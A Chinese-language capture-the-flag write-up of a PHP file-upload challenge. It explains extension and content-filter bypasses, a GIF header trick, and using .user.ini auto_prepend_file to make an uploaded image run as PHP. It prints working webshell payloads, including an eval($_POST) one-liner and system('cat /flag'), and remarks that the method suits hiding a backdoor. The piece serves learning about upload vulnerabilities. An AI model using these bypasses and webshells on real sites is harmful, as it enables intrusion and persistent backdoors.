进入靶场只有一个文件上传界面,上传php一句话木马提示非法后缀。
尝试利用php后缀的多样性绕过,发现都被过滤掉了,先把php改成.jpg的图片,提示说有问号在内容中。
php后缀的多样性:php语言除了可以解析以php为后缀的文件,还可以解析php2,php3、php4、php5、php6、phtml、pht、pHp,Php,phP这些后缀的文件。(php1、php2上传失败php3、php4仍有可能上传成功,因为不同的服务器,可以上传的文件类型也不同,所以需要进行逐个排除)
利用JavaScript语句来绕过对问号的检测,只需要把里面的代码改成
<script language="php">(这里写上php代码即可)</script>
eg: <script language="php">(eval (phpinfo();))</script>
提示说这个不是个图片,猜测应该是要加一下GIF的头,所以把payload改成
GIF89
<script language="php">(eval (phpinfo();))</script>
上传成功
但是直接访问这个文件的话,服务器会把它当做jpg图片来处理,而不会当成php脚本来解析,所以直接访问失败。
(*)利用.user.ini来将jpg图片解析成php文件
什么是.user.ini?
先从php.ini说起,php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。 在此可以查看官方文档:http://php.net/manual/zh/ini.list.php
官方解释这几种模式的区别:
模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,和.user.ini中设置。这里就提到了.user.ini,那么这是个什么配置文件?
官方文档在https://www.php.net/manual/zh/configuration.file.per-user.php又解释了:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
所以可以理解为:.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
然后我们看到php.ini中的配置项,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。不过,我们仍然可以很容易地借助.user.ini文件来构造一个“后门”。
php配置项中auto_prepend_file具体意思是:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而配置项中auto_append_file也类似,只是在文件后面包含。
使用方法很简单,直接写在.user.ini中:
auto_prepend_file=01.gif
01.gif是要包含的文件。所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
哪些情况下可以用到这个姿势?
比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。
所以先上传一个.user.ini的文件,内容为
GIF89="aaa" auto_prepend_file=1.jpg
之后再上传一个1.jpg,并且写入php代码
GIF89="aaa" <script language="php">system("cat /flag");</script>
再访问一下这个文件
得到flag。
上述方法直接读flag文件了,不确定文件名可以上传一个一句话木马
<script language="php">eval($_POST['a']);</script>
扫描根目录:a=var_dump(scandir("/"));,可以看见一个叫flag的文件
打印:a=var_dump(file_get_contents("/flag"));
参考:
https://blog.csdn.net/weixin_44077544/article/details/102688564
来源:https://www.cnblogs.com/wkzb/p/12286324.html